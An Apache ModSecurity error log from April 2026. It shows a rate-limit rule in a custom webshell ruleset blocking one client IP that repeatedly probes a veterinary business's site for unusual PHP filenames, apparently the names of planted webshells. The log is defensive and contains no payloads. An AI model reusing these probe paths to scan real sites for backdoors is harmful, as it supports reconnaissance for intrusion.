[Mon Apr 13 17:07:36.992386 2026] [:error] [pid 57183:tid 57205] [client 20.100.201.121:63682] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wxeyc.php"] [unique_id "adyyWDDO3t8R5NaxzYTO-AAAAVQ"]
[Mon Apr 13 17:07:37.167770 2026] [:error] [pid 7228:tid 7241] [client 20.100.201.121:63621] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bfil.php"] [unique_id "adyyWQEnn1dQrOSHHNVX5wAAAQs"]
[Mon Apr 13 17:07:37.601603 2026] [:error] [pid 9314:tid 9333] [client 20.100.201.121:63720] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/9EaklzMysJ.php"] [unique_id "adyyWW_r4W8fX2GWyGTGpgAAAZE"]
[Mon Apr 13 17:07:37.756479 2026] [:error] [pid 9314:tid 9330] [client 20.100.201.121:63683] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lb.php"] [unique_id "adyyWW_r4W8fX2GWyGTGqAAAAY4"]
[Mon Apr 13 17:07:38.194335 2026] [:error] [pid 63310:tid 63345] [client 20.100.201.121:64596] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wxeyc.php"] [unique_id "adyyWnoXpRU5ztmwPjIuWAAAAEE"]
[Mon Apr 13 17:07:38.489720 2026] [:error] [pid 63406:tid 63425] [client 20.100.201.121:65116] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lb.php"] [unique_id "adyyWrHZEIkQ0Zmgp5oYTQAAAM4"]
[Mon Apr 13 17:07:38.614170 2026] [:error] [pid 63406:tid 63430] [client 20.100.201.121:62810] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/9EaklzMysJ.php"] [unique_id "adyyWrHZEIkQ0Zmgp5oYTwAAANM"]
[Mon Apr 13 17:07:39.013946 2026] [:error] [pid 63406:tid 63419] [client 20.100.201.121:65135] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lb.php"] [unique_id "adyyW7HZEIkQ0Zmgp5oYUAAAAMg"]
[Mon Apr 13 17:07:39.608737 2026] [:error] [pid 63406:tid 63423] [client 20.100.201.121:64618] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lb.php"] [unique_id "adyyW7HZEIkQ0Zmgp5oYVQAAAMw"]
[Mon Apr 13 17:07:39.726309 2026] [:error] [pid 63406:tid 63433] [client 20.100.201.121:65214] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wxeyc.php"] [unique_id "adyyW7HZEIkQ0Zmgp5oYVgAAANY"]
[Mon Apr 13 17:07:40.326322 2026] [:error] [pid 63406:tid 63427] [client 20.100.201.121:63650] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dx.php"] [unique_id "adyyXLHZEIkQ0Zmgp5oYXQAAANA"]
[Mon Apr 13 17:07:40.631965 2026] [:error] [pid 63311:tid 63375] [client 20.100.201.121:64134] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xltt.php"] [unique_id "adyyXKHjrGN1MqBCVFnPYwAAAIQ"]
[Mon Apr 13 17:07:40.655477 2026] [:error] [pid 57183:tid 57200] [client 20.100.201.121:64605] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wpxl.php"] [unique_id "adyyXDDO3t8R5NaxzYTO-wAAAU8"]
[Mon Apr 13 17:07:40.899573 2026] [:error] [pid 57183:tid 57191] [client 20.100.201.121:63689] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dx.php"] [unique_id "adyyXDDO3t8R5NaxzYTO_AAAAUY"]
[Mon Apr 13 17:07:41.155908 2026] [:error] [pid 57183:tid 57203] [client 20.100.201.121:65125] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xltt.php"] [unique_id "adyyXTDO3t8R5NaxzYTO_gAAAVI"]
[Mon Apr 13 17:07:41.492468 2026] [:error] [pid 57183:tid 57202] [client 20.100.201.121:63656] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dx.php"] [unique_id "adyyXTDO3t8R5NaxzYTO_wAAAVE"]
[Mon Apr 13 17:07:42.040469 2026] [:error] [pid 63311:tid 63387] [client 20.100.201.121:64672] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dx.php"] [unique_id "adyyXqHjrGN1MqBCVFnPZAAAAJA"]
[Mon Apr 13 17:07:42.098427 2026] [:error] [pid 63311:tid 63393] [client 20.100.201.121:65091] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xltt.php"] [unique_id "adyyXqHjrGN1MqBCVFnPZgAAAJY"]
[Mon Apr 13 17:07:42.743682 2026] [:error] [pid 63311:tid 63386] [client 20.100.201.121:63645] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xltt.php"] [unique_id "adyyXqHjrGN1MqBCVFnPaQAAAI8"]
[Mon Apr 13 17:07:42.804700 2026] [:error] [pid 63311:tid 63380] [client 20.100.201.121:64613] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/menu.php"] [unique_id "adyyXqHjrGN1MqBCVFnPagAAAIk"]
[Mon Apr 13 17:07:43.715280 2026] [:error] [pid 63311:tid 63376] [client 20.100.201.121:64616] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wpxl.php"] [unique_id "adyyX6HjrGN1MqBCVFnPbAAAAIU"]
[Mon Apr 13 17:07:43.817997 2026] [:error] [pid 63309:tid 63333] [client 20.100.201.121:64119] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bthil.php"] [unique_id "adyyX0pIKZ10weXpf0UB7AAAABQ"]
[Mon Apr 13 17:07:43.823385 2026] [:error] [pid 7228:tid 7238] [client 20.100.201.121:64627] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/menu.php"] [unique_id "adyyXwEnn1dQrOSHHNVX7wAAAQg"]
[Mon Apr 13 17:07:44.429885 2026] [:error] [pid 63310:tid 63354] [client 20.100.201.121:65170] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/menu.php"] [unique_id "adyyYHoXpRU5ztmwPjIuWgAAAEo"]
[Mon Apr 13 17:07:45.053734 2026] [:error] [pid 7228:tid 7247] [client 20.100.201.121:64702] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wpxl.php"] [unique_id "adyyYQEnn1dQrOSHHNVX8gAAARE"]
[Mon Apr 13 17:07:45.579372 2026] [:error] [pid 7228:tid 7241] [client 20.100.201.121:64190] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/menu.php"] [unique_id "adyyYQEnn1dQrOSHHNVX9AAAAQs"]
[Mon Apr 13 17:07:45.583515 2026] [:error] [pid 63406:tid 63421] [client 20.100.201.121:64656] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bthil.php"] [unique_id "adyyYbHZEIkQ0Zmgp5oYaQAAAMo"]
[Mon Apr 13 17:07:46.621728 2026] [:error] [pid 63406:tid 63422] [client 20.100.201.121:65203] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/p14rAeWytPdH5hZcscCFdefault.php"] [unique_id "adyyYrHZEIkQ0Zmgp5oYcQAAAMs"]
[Mon Apr 13 17:07:46.906948 2026] [:error] [pid 63310:tid 63365] [client 20.100.201.121:64154] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wpxl.php"] [unique_id "adyyYnoXpRU5ztmwPjIuXAAAAFU"]
[Mon Apr 13 17:07:47.242863 2026] [:error] [pid 63406:tid 63426] [client 20.100.201.121:64111] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/p14rAeWytPdH5hZcscCFdefault.php"] [unique_id "adyyY7HZEIkQ0Zmgp5oYdgAAAM8"]
[Mon Apr 13 17:07:47.675107 2026] [:error] [pid 63406:tid 63417] [client 20.100.201.121:64166] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bthil.php"] [unique_id "adyyY7HZEIkQ0Zmgp5oYeQAAAMY"]
[Mon Apr 13 17:07:47.902961 2026] [:error] [pid 63406:tid 63418] [client 20.100.201.121:64072] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/p14rAeWytPdH5hZcscCFdefault.php"] [unique_id "adyyY7HZEIkQ0Zmgp5oYewAAAMc"]
[Mon Apr 13 17:07:48.261455 2026] [:error] [pid 63406:tid 63435] [client 20.100.201.121:64647] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/s3FiyJ2WGCnF0p1default.php"] [unique_id "adyyZLHZEIkQ0Zmgp5oYfgAAANg"]
[Mon Apr 13 17:07:49.019583 2026] [:error] [pid 63406:tid 63434] [client 20.100.201.121:63721] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bthil.php"] [unique_id "adyyZbHZEIkQ0Zmgp5oYhQAAANc"]
[Mon Apr 13 17:07:49.091609 2026] [:error] [pid 63406:tid 63433] [client 20.100.201.121:64113] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/p14rAeWytPdH5hZcscCFdefault.php"] [unique_id "adyyZbHZEIkQ0Zmgp5oYhgAAANY"]
[Mon Apr 13 17:07:49.668571 2026] [:error] [pid 63406:tid 63429] [client 20.100.201.121:63723] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fyflv.php"] [unique_id "adyyZbHZEIkQ0Zmgp5oYiwAAANI"]
[Mon Apr 13 17:07:49.728714 2026] [:error] [pid 63406:tid 63431] [client 20.100.201.121:64144] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/s3FiyJ2WGCnF0p1default.php"] [unique_id "adyyZbHZEIkQ0Zmgp5oYjQAAANQ"]
[Mon Apr 13 17:07:49.795043 2026] [:error] [pid 63406:tid 63432] [client 20.100.201.121:63225] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/iindv.php"] [unique_id "adyyZbHZEIkQ0Zmgp5oYjwAAANU"]
[Mon Apr 13 17:07:50.294157 2026] [:error] [pid 63406:tid 63431] [client 20.100.201.121:65103] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fyflv.php"] [unique_id "adyyZrHZEIkQ0Zmgp5oYlwAAANQ"]
[Mon Apr 13 17:07:50.573962 2026] [:error] [pid 63406:tid 63432] [client 20.100.201.121:63724] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/iindv.php"] [unique_id "adyyZrHZEIkQ0Zmgp5oYmgAAANU"]
[Mon Apr 13 17:07:51.119886 2026] [:error] [pid 9314:tid 9333] [client 20.100.201.121:63176] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/s3FiyJ2WGCnF0p1default.php"] [unique_id "adyyZ2_r4W8fX2GWyGTGsgAAAZE"]
[Mon Apr 13 17:07:51.333973 2026] [:error] [pid 9314:tid 9336] [client 20.100.201.121:63705] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/iindv.php"] [unique_id "adyyZ2_r4W8fX2GWyGTGswAAAZQ"]
[Mon Apr 13 17:07:51.675584 2026] [:error] [pid 57183:tid 57193] [client 20.100.201.121:64183] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fyflv.php"] [unique_id "adyyZzDO3t8R5NaxzYTPCAAAAUg"]
[Mon Apr 13 17:07:51.903428 2026] [:error] [pid 57183:tid 57207] [client 20.100.201.121:65163] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/s3FiyJ2WGCnF0p1default.php"] [unique_id "adyyZzDO3t8R5NaxzYTPCQAAAVY"]
[Mon Apr 13 17:07:52.071674 2026] [:error] [pid 63406:tid 63412] [client 20.100.201.121:65105] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/iindv.php"] [unique_id "adyyaLHZEIkQ0Zmgp5oYpwAAAME"]
[Mon Apr 13 17:07:52.482986 2026] [:error] [pid 63406:tid 63431] [client 20.100.201.121:65179] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fyflv.php"] [unique_id "adyyaLHZEIkQ0Zmgp5oYqQAAANQ"]
[Mon Apr 13 17:07:52.702838 2026] [:error] [pid 63406:tid 63429] [client 20.100.201.121:65096] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/maintura.php"] [unique_id "adyyaLHZEIkQ0Zmgp5oYrAAAANI"]
[Mon Apr 13 17:07:53.139405 2026] [:error] [pid 63406:tid 63415] [client 20.100.201.121:64088] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zc-942.php"] [unique_id "adyyabHZEIkQ0Zmgp5oYrwAAAMQ"]
[Mon Apr 13 17:07:53.168800 2026] [:error] [pid 63406:tid 63434] [client 20.100.201.121:64108] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bfil.php"] [unique_id "adyyabHZEIkQ0Zmgp5oYsgAAANc"]
[Mon Apr 13 17:07:53.474627 2026] [:error] [pid 63406:tid 63422] [client 20.100.201.121:63171] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/maintura.php"] [unique_id "adyyabHZEIkQ0Zmgp5oYuAAAAMs"]
[Mon Apr 13 17:07:54.130159 2026] [:error] [pid 63406:tid 63427] [client 20.100.201.121:62790] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zc-942.php"] [unique_id "adyyarHZEIkQ0Zmgp5oYuwAAANA"]
[Mon Apr 13 17:07:54.544348 2026] [:error] [pid 9314:tid 9338] [client 20.100.201.121:64607] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/maintura.php"] [unique_id "adyyam_r4W8fX2GWyGTGtgAAAZY"]
[Mon Apr 13 17:07:54.798840 2026] [:error] [pid 63406:tid 63425] [client 20.100.201.121:63675] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bfil.php"] [unique_id "adyyarHZEIkQ0Zmgp5oYxQAAAM4"]
[Mon Apr 13 17:07:55.619804 2026] [:error] [pid 63406:tid 63435] [client 20.100.201.121:63675] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/maintura.php"] [unique_id "adyya7HZEIkQ0Zmgp5oYzAAAANg"]
[Mon Apr 13 17:07:56.348108 2026] [:error] [pid 63406:tid 63429] [client 20.100.201.121:63694] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zc-942.php"] [unique_id "adyybLHZEIkQ0Zmgp5oY0gAAANI"]
